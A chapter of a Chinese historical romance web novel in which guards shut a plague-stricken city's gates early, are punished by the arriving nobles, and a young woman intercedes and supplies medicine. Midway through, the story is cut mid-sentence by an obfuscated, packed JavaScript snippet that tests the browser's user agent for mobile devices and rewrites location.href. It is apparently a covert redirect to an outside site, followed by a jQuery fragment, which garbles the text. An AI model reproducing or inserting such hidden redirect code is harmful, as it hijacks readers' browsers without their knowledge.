24. 惹到了活阎王
作品:《珠玉为筹》 苏木一路挥鞭,终于在夜幕时分赶到禹州城下。
冯力舒展一番筋骨,懒洋洋正准备闭城门。
钱孙明凑过来小声嘀咕道:“冯哥,下值了我请你去喝两杯?”
冯力眼睛一转,满脸心动,这段时日以来,禹州到处都是死人,如今的日子也是有一天算一天,但想到家中嗷嗷待哺的孩子和生病的老婆,他只得打个哈哈。
“我今日就不去了,你嫂子不是很好,要不然今日我也不会早半个时辰关城门。”
“冯哥,这两日上头似乎来了人,我们这样提前走,会不会出事?”
钱孙明眼睛转得飞快,他是坚决不会做那出头鸟的。
冯力搓了搓手:“你怕啥,我们就小小一个守门将,就算偷点懒,上头也看不见,而且就这么一回,不会那么倒霉的。”
钱孙明刚要点头,就见几百米外一队车马远远驶来。
“冯哥,还有车队,我看怕是有几十辆。”
冯力伸着脖子去看钱孙明指的方向,见到远处浩浩荡荡的车队,莫名有些烦躁。
“看样子半个时辰怕是检查不完。”
冯力昨日便接到命令,这两日进出都需严加探查,这么多车辆和人要查完最少都得一个时辰。
想到这里,他眼里闪过一丝犹豫,忽然想到什么语气坚定:“关门。”
钱孙明虽有些害怕,但依然利落地将城门缓缓关闭。
钱孙明不停地偷瞄冯力,试图找一些安慰:“不会有什么事吧?”
冯力咬着牙:“能有什么事,这禹州本来就是往来西域的塞道,来往客商本就多,如今禹州遭了难,按上面的意思,早晚会闭城,如今我们不让他们进城,也是做好事帮了他们。”
“对,就是这个理,现在城里到处是死人,进来了说不定也染上疫病了。”钱孙明点点头,心里稍放心了些。
车队里徐昭拂了车帘看了一眼城门:“小姐,我们马上就到了。”
只是还未等话说完,苏木便停了车架:“沈小姐,城门关了。”
一时间所有的车马都停在了原地。
桑南箫策马向前,看了一眼城门,指着一个侍卫说道:“按临渊国律法,此时城门不应该闭门,你上去看看出了何事?”
侍卫得了命令跑向城门,半盏茶后回来跪地回道:“守卫小兵说这几日禹州城上头下了命令,来往车辆都必须严查。”
沈白汀点点头:“或许是萧君泽这样部署,可这城中疫情容不得耽搁,还请再去问问能否通融。”
侍卫这一次回来得很快:“他们言明已下值,让我们若要进城明日请早。”
桑南箫听得此言,已是火冒三丈:“我看哪里是子衿下了什么命令,就是这帮狗奴才玩忽职守。”
说完便夹紧马腹一甩鞭便冲了上去。
钱孙明还在打趣着冯力回家心切,就见得城门外一男子策马而来。
那男子速度极快,在城门关闭最后的一瞬,一条马鞭裹挟着疾风抽在了钱孙明的身上。
那力道能开山劈石,就这一鞭,钱孙明背上便出现一条两指宽的血痕。
“混账东西,时辰未到竟敢关城门。”
不等钱孙明辩解,又是一鞭抽在身上。
冯力反应过来上前阻拦,桑南箫也不管三七二十一,上前也是一鞭子,冯力闪躲不及,马鞭擦过他脸颊,脸上瞬间出现一道伤痕。
远处小兵见状全都围了上来,桑南箫骑在马上,向四处打量一番:“你们可知我是谁?”
冯力被挨了一顿鞭子,也激起三分血性:“我管你是谁,今日就算天王老子来了,也别想过去。”
见城门下桑南箫与守卫僵持不下,沈白汀试探着问道:“苏木,你可有什么办法联系上你的主子吗?”
苏木快速从怀里翻出一个信烟筒:“主上走前给我们留了信,如若遇到困难,便可燃放信烟。”
“那还等什么,现在放。”
沈白汀扶额,真的是一个莽夫,一个木头。
苏冲跪在地上向萧君泽报告这两日他在城中打探到的消息:“据眼线来报,那日失火后韩赟曾去过城西的一处宅子,不过那宅子属下后面去看过,现下已经荒了,没发现什么异样。”
萧君泽点点头,这两日才接手禹州县衙的一应事务,才发现里面早已是千疮百孔。
胡人要通商必从禹州过,这些年来汤正借着大大小小的税赋之名,也算是捞了个盆满钵满,就连里面一个小小的衙役,也能捞上一笔。
怪不得萧君成会抢着要禹州的管辖权,还真是一块肥差。
见萧君泽一语不发,苏冲才又说道:“不过属下查到了那宅子曾经住过一个歌姬,只是那歌姬已经消失了。”
就在萧君泽低头思考的时候,天空中绽放出一朵绚丽的烟花。
“主上,是苏木,按苏木的脾性,不到万不得已这信烟他是不会放的。”
萧君泽看着天空中还余一点的烟雾,大步流星往外走。
“召集所有人城门集合。”
等苏冲追出门上,只看见萧君泽纵马疾驰的背影。
“老大,这是出了什么事?”
苏舟刚从厨房出来,嘴上还含着半个馒头,这半月以来还是第一次吃上馒头,因而他格外珍惜,细嚼慢咽深怕一口下去就没有了。
“去通知所有人集合,估计这次出了大事。”
苏冲去马厩拉了马翻身上马,跟着萧君泽的方向飞奔而去。
-
“睁大你们的狗眼看看我是谁?”
桑南箫从腰间摸出一块白玉佩。
若在盛京,他一亮出来,没有谁不是点头哈腰毕恭毕敬。
但奈何禹州已处边塞区,州中官员认识他的人都极少,更何况是这群小小的守卫。
“怎么,你是要是你卖玉佩的?”
一个守卫看了一眼,竟哈哈笑起来。
“想拿一块玉就想糊弄我们,你也太小看我们了。”
那守卫之前与汤正沾了点远亲,平日里来往客商进出城门他没少捞油水,因而对于玉佩这些普通饰品,很看不上眼。
“不过我看你这玉成色不错,若你能让我品鉴一二,说不定我就放你过去了。”
其余守卫还在呵呵笑着,下一瞬却见一剑穿透了刚刚那护卫的胸膛。
萧君泽一脸冷漠:“玩忽职守,搜刮民脂民膏罪该万死,来人,将此人尸首挂到城门示众七日。”
刚刚还嬉笑的众
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002679|192941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人都没了声音,见骑在马上的萧君泽,面面相觑。
待苏冲带着大批侍卫从城中冲出来,所有人全都吓得跪倒在地。
桑南箫指着冯力和钱孙明说道:“子衿,此人玩忽职守,提前关闭城门,你说该如何处置。”
钱孙明早已跪倒在地,浑身抖得不成样子,这才自己怕是惹到了活阎王,在劫难逃。
冯力脸色苍白,又看了一眼身边死不瞑目的守卫,虽平日里那人仗着和汤正有点裙带关系耀武扬威,但现在死在他面前,还是有点难以接受。
他看了萧君泽一眼,咬牙道:“大人,此事是我玩忽职守,和钱孙明没有关系,还望大人放过他。”
一时间城门处人心惶惶,所有人都缄默不语。
“萧兄,我看就罚他俩看守尸体吧!”
就在钱孙明和冯力以为必死无疑的时候,一道柔软的声音插了进来。
萧君泽神色晦暗不明正当所有人以为他不会答应时,没想到他开了口:“没听到吗?既然沈公子为你们求情,还不谢恩。”
钱孙明吓得鼻涕眼泪糊了一脸,连连叩首。
冯力低着头和钱孙明正想退下,却被桑南箫一把拦住,刚刚他刚受了辱,这不可一世的桑世子,又怎能受得下这口气。
“刚刚你不是很有骨气吗?而且还擅离职守,没个理由别想走。”
冯力看了桑南箫一眼,自知今日自己在劫难逃,只用眼神示意钱孙明照顾家中妻小。
“子衿你看,这样的刁民,就不该放过,下一次定会加倍懒怠。”
“这位公子,求你放过冯哥吧!他是因为妻子染了时疫,才不得已提前关城门的。”
钱孙明跪在地上又哐哐磕了几个响头,霎时额头的血流了下来。
桑南箫愣在原地,又看了一眼跪在地上的冯力:“谁知道你是不是为了帮他脱罪诓骗我的。”
沈白汀见状向前走了几步:“既然如此,桑公子派人去他家中询问一番便可知他是否说的有假。”
说完又似乎想到什么,又走回马车吩咐了苏木几句,片刻后苏木拿了一个药包过来。
“既然要派人去守卫大哥家查看,如若他的妻子真的病入膏肓,那就顺便将这治时疫的药捎上。”
冯力低着头的头猛得抬起,眼里有着不可置信:“这是药?你为何如此帮我?”
沈白汀抿了抿唇,才缓缓开口:“你知妻子染了时疫仍不抛弃,是为有情,其次面对生死你为兄弟两肋插刀,是为有义,如此有情有义我自然是要救上一救的。”
虽派了人去冯力家中打探,沈白汀这边也未得闲,城中瘟疫肆掠,救治刻不容缓。
她早已将车架药粮数目登记在册,此时也直接交由苏冲。
萧君泽看着远处指挥的沈白汀,心中升起一股前所未有的意动,这个大门不出二门不迈的闺阁女子,她的身上似乎有光,吸引着他去看,去探寻。
“萧兄,你先让人去城中搭建施粥棚,再去雇佣一些娘子来做饭和制作口罩……”
萧君泽看着眼前的沈白汀,思绪飘远。
“萧兄,你在听吗?”
萧君泽咳嗽一声,低声道:“你可以直接唤我名字,或者和桑世子一样,唤我子衿。”

